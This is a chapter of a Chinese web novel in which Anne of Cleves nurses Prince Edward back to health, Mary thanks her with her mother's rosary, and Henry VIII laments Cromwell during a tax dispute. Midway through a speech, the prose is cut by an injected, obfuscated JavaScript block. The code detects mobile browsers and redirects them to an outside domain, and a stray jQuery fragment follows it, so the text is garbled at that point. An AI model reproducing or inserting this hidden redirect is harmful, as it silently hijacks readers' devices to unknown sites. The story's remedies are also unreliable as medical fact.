28. 念珠、致谢与税务风暴中的叹息
作品:《穿越后我成了亨利的冤种老婆》 格林威治宫爱德华王子的寝殿,成了整个王国目光的焦点,也是风暴暂时停歇的港湾。安妮如同一台精密而不知疲倦的机器,守护在爱德华床边。物理降温(冰块越来越难寻,但安妮坚持必须用)、极其缓慢而持续的补液(稀释的蜂蜜盐水,加入了少量柠檬汁补充电解质)、大蒜汁的局部应用、以及用薰衣草和洋甘菊蒸汽营造的安宁环境……这些在现代看来只是支持疗法的手段,在这个时代却如同神迹。
爱德华的体温终于在第三天黎明时分稳定在了一个相对安全的区间,不再有那骇人的灼热。持续折磨他的剧烈抽搐彻底停止,虽然身体依旧虚弱无力,偶尔会无意识地呻吟,但那种濒死的角弓反张消失了。最令人振奋的是,他身上的紫黑色瘀斑,边缘开始模糊、褪色,虽然依旧存在,但已不再扩散,颜色也由恐怖的深紫转为暗红,仿佛凝固的血液正在被身体缓慢吸收。呼吸变得平稳悠长,虽然依旧带着病后的细弱,却不再是那令人揪心的微弱。血尿也止住了。
格里夫斯和他手下的御医们,从最初的震惊、怀疑甚至暗中抵触,到后来变成了沉默的观察者和笨拙的学徒。他们看着安妮一丝不苟地操作,记录着她每一个步骤,尝试理解其中蕴含的、他们完全陌生的“道理”——为什么降温比放血更能保护心脏?为什么那么一点点淡盐水能维持生机?那刺鼻的大蒜汁,难道真能对抗无形的“毒素”?虽然无法理解,但爱德华肉眼可见的、奇迹般的改善,像一记重锤,砸碎了他们根深蒂固的医学观念。格里夫斯看向安妮的眼神,充满了前所未有的敬畏和困惑,他甚至开始偷偷在自己的药典空白处,用极小的字记录下“克里夫斯疗法”。
当安妮在第四天清晨,疲惫却清晰地宣布“王子殿下已脱离最凶险的阶段,但后续调养至关重要,仍需绝对静养和精心护理”时,寝殿内紧绷到极致的弦,终于“铮”地一声松开了。
一直守在门外的玛丽公主,第一个冲了进来。她没有去看安妮,而是扑到弟弟床边,颤抖的手指轻轻抚过爱德华虽然苍白却已恢复平静的小脸,感受着他平稳温热的呼吸。巨大的、失而复得的狂喜和连日积压的恐惧、疲惫瞬间化作汹涌的泪水,冲垮了她冰冷高傲的堤防。她再也抑制不住,伏在弟弟枕边,肩膀剧烈地抽动,压抑的哭声从喉咙深处溢出,不再是绝望的悲鸣,而是喜极而泣的宣泄。泪水浸湿了爱德华的枕巾,也洗刷着她心中对安妮最后一丝顽固的敌意。
过了许久,玛丽才慢慢抬起头。她用手背胡乱擦去脸上的泪痕,尽管眼睛红肿,但那份属于公主的矜持似乎又回到了她身上。她站起身,走到一直安静地靠在墙边休息的安妮面前。
空气有一瞬间的凝滞。玛丽的目光复杂地落在安妮身上,这位被她视为“德意志异教徒”、举止“轻浮”的前王后,此刻在她眼中却像笼罩着一层难以言喻的光晕——不是圣徒的光环,而是一种源自强大、冷静和未知智慧的奇异力量。
玛丽深吸一口气,没有说任何感谢的话。她沉默地从自己纤细的脖颈上,解下那串她视若性命、片刻不离身的玫瑰念珠。念珠由深色乌木制成,每一颗都圆润光滑,泛着岁月沉淀的温润光泽。最下方悬挂着一个极小的、镶嵌着暗红色宝石(据说内含真十字架碎片)的银质十字架。这是她母亲,阿拉贡的凯瑟琳王后,在临终前留给她的唯一遗物,承载着她对母亲所有的思念、信仰的寄托以及……对命运不公的控诉。
玛丽将念珠双手捧起,递到安妮面前。她的动作庄重而缓慢,带着一种近乎宗教仪式的虔诚。
“安妮女士,”玛丽的声音有些沙哑,但异常清晰,带着一种前所未有的郑重,“这是……我母亲留下的。它曾伴随她度过最黑暗的囚禁岁月,也伴随我度过无数个被诅咒的日夜。它……它见证过信仰的力量。”她停顿了一下,似乎有些艰难地措辞,“我……无法理解您所做的一切,那超出了我的认知。但您救了我的弟弟,救了这个王国法定的继承人。这串念珠……它无法报答您的恩情于万一,但它代表我……和我的母亲……对您的敬意。”
她的目光紧紧锁住安妮的眼睛,灰蓝色的眼眸深处翻涌着感激、困惑、以及一种近乎顽固的坚持:“我,玛丽·都铎,在此承诺。我会在万能的主面前,在圣母玛利亚面前,在英格兰所有圣徒面前,为您祈祷。祈祷您……平安。祈祷您的智慧……得到善用。” 最后几个字,她说得异常缓慢而清晰,仿佛在暗示着什么。她将念珠轻轻放入安妮手中,指尖微凉,带着一种决绝的托付感。
安妮握着那串沉甸甸的、带着玛丽体温和复杂情感的念珠,心中五味杂陈。她能感受到其中蕴含的沉重历史和玛丽的真诚(尽管是带着她自身信仰烙印的真诚)。这串念珠,与其说是谢礼,不如说是一个象征,一个来自最顽固的天主教公主的、跨越了巨大鸿沟的认可和……警示?她郑重地点点头:“谢谢您,玛丽公主。我会妥善保管它,并……记住您的祈祷。”
就在寝殿内弥漫着一种劫后余生的温情与复杂情绪时,亨利八世那高大的身影再次出现在门口。他的脸色依旧憔悴,眼袋深重,但那股狂暴的戾气已经消散,取而代之的是一种深沉的疲惫和一种……近乎笨拙的感激。
他大步走到安妮面前,巨大的身躯带来强烈的压迫感,但眼神却显得有些躲闪和……无措。他先是看了一眼床上的爱德华,确认儿子确实安稳地睡着,然后才将目光转向安妮。他伸出那双曾经签署过无数命令、也沾染过鲜血的大手,不由分说地、紧紧地握住了安妮那双因连日操劳而冰凉的手。
“安妮……夫人。”亨利的声音低沉沙哑,带着一种前所未有的、甚至有些别扭的温和。他避开了“王后”或“妹妹”的称呼,用了最中性却也最郑重的“夫人”。“我……”他似乎想说什么,但巨大的情感和帝王的骄傲堵住了他的喉咙。最终,他只是用力地、反复地握了握安妮的手,那双布满红丝的眼睛里,清晰地映出安妮疲惫却平静的面容。
“谢谢你。”他终于说出了这三个字,声音不高,却异常清晰,带着一种沉甸甸的分量,仿佛卸下了千斤重担。“谢谢你……救了我的儿子。”他停顿了一下,又补充道,语气带着一丝不易察觉的恳求,“请你……继续照顾他,直到他完全康复。这里……这里的一切,你需要什么,尽管开口。”
这可能是亨利八世一生中,对被他抛弃的妻子,说过的最真诚、也最接近“低声下气”的话。安妮能感受到他手掌的粗糙和温热,也能感受到那份混杂着感激、愧疚和后怕的复杂情绪。她微微颔首:“陛下言重了。我会尽力。”
*** ***
然而,王室的温情并未能驱散格林威治宫上空真正的阴云。就在爱德华病情稳定、亨利难得流露出片刻软弱的当日下午,一场新的风暴在枢密院的议事厅里悍然爆发。
议题是即将到来的秋税征收,特别是针对羊毛出口的关税调整。这本是例行公务,却瞬间成为了西摩家族与霍华德家族角力的战场。
爱德华·西摩,外甥从鬼门关被拉回的庆幸并未冲淡他的愤怒,反而让他的复仇之火燃烧得更加炽烈。他知道下毒的线被霍华德家清理得干干净净,但他绝不会放过任何一个打击对方的机会。他率先发难,矛头直指霍华德家族控制下的几大羊毛港口。
“陛下!”爱德华·西摩的声音洪亮,带着毫不掩饰的指责,“东盎格利亚各港上报的羊毛出口量,与实际关税收入严重不符!差额之大,绝非正常损耗!这分明是有人上下其手,中饱私囊,侵蚀国库根基!臣恳请陛下,立刻派专员彻查诺维奇、金斯林等港口!严惩蛀虫!” 他的目光如刀,狠狠剐向端坐在对面的诺福克公爵。
诺福克公爵托马斯·霍华德老神在在,嘴角甚至挂着一丝若有若无的讥讽。他慢条斯理地捋了捋修剪整齐的胡须,声音平和却字字带刺:“西摩大人此言差矣。关税征收,牵涉环节众多,路途损耗、海盗劫掠、市场波动
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155918|180550||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,皆可造成账目差异。仅凭臆测就指控国之重臣、污蔑忠良,是否太过轻率?还是说……”他故意拖长了语调,目光扫过西摩,“有人因私废公,借题发挥,欲行打压异己之实?毕竟,王子殿下刚刚转危为安,某些人就迫不及待地要搅动风云,其心可诛啊!” 他巧妙地将税务问题与王子中毒的嫌疑联系起来,暗示西摩家族在借机报复。
“你!”爱德华·西摩拍案而起,怒目圆睁,“诺福克!你休要血口喷人!王子之事,天理昭昭,必有水落石出之日!倒是你们霍华德家,把持港口,贪得无厌,才是真正的国之蛀虫!陛下!臣……”
“够了!!!”
一声如同受伤雄狮般的咆哮,猛地打断了西摩的控诉。亨利八世坐在高高的王座上,双手死死抓住扶手,指节因用力而发白。他脸色铁青,太阳穴上青筋暴跳,连日来的心力交瘁、丧子恐惧后的虚脱、以及眼前这无休止的、充满恶意的争吵,终于彻底压垮了他。
议事厅瞬间死寂。所有大臣都噤若寒蝉,看着他们的君王。
亨利没有看西摩,也没有看诺福克。他布满血丝的眼睛茫然地扫视着下方那些或惶恐、或算计、或愤怒的面孔,最后落在他空空如也的御案旁——那里曾经站着一个总是弓着背、眼神锐利、能迅速理清所有纷繁头绪、提出切实可行方案的人。
一股巨大的、迟来的悔恨和孤独感,如同冰冷的潮水,瞬间淹没了亨利。他颓然地松开抓着扶手的手,巨大的身躯仿佛佝偻了几分。他抬手,用力揉捏着剧痛的额角,声音嘶哑,充满了疲惫和一种令人心酸的自我厌弃,喃喃自语般地说道,声音不大,却清晰地传遍了寂静的大厅:
“争吵……永远是无休止的争吵……算计……永远是恶毒的算计……朕的头……要裂开了……” 他停顿了一下,目光空洞地望着虚空,仿佛在对着一个不存在的人倾诉,语气中充满了前所未有的懊悔和茫然:
“也许……也许朕真的不该砍掉沃特的头颅……至少……至少他在的时候……” 亨利的声音越来越低,带着一种深沉的无力感,“……真的能帮朕……把这些该死的事情……理清楚……”
“沃特”——托马斯·克伦威尔(Thomas Cromwell)的昵称。
这个名字如同一个禁忌的幽灵,瞬间让整个议事厅的温度降到了冰点。所有大臣,无论是西摩派还是霍华德派,都脸色骤变,面面相觑,眼中充满了震惊和难以置信。陛下……竟然在公开场合,流露出对那个被他自己下令处决的“叛国者”的……怀念和悔意?
爱德华·西摩眼中的愤怒瞬间被一种冰冷的讽刺取代。诺福克公爵脸上的从容也第一次出现了裂痕,眼神阴沉下来。
亨利似乎并未意识到自己说了什么惊世骇俗的话,他只是沉浸在巨大的头痛和更深的、无人可诉的孤独与悔恨中。他挥了挥手,声音疲惫至极:“税务的事……延后再议……都……退下吧……”
他不再看任何人,巨大的手掌依旧捂着脸,仿佛想将自己与这个充满阴谋、背叛和永远理不清的烂摊子的世界隔绝开来。克伦威尔那精明、冷酷却无比高效的身影,在他此刻混乱而痛苦的脑海中,竟显得如此清晰而……可靠。
西摩家族的人带着满腔的愤怒和一丝看到帝王软弱的快意,冷冷地扫了霍华德家族一眼,率先拂袖而去。诺福克公爵深深看了一眼王座上那个仿佛瞬间苍老了许多的君王,眼神复杂难明,最终也沉默地行礼告退。
议事厅空了。只剩下亨利沉重的喘息和窗外呼啸而过的风声。爱德华王子寝殿那边隐约传来平稳的呼吸声,而权力的中心,却只剩下一个被悔恨和孤独啃噬的帝王,以及一个刚刚被意外提及、却足以在所有人心中掀起惊涛骇浪的名字——托马斯·克伦威尔。霍华德家族看似再次避开了直接的冲击,但国王这声无意识的叹息,如同一颗投入深潭的石子,激起的涟漪,将比任何明面上的指控都更加深远和危险。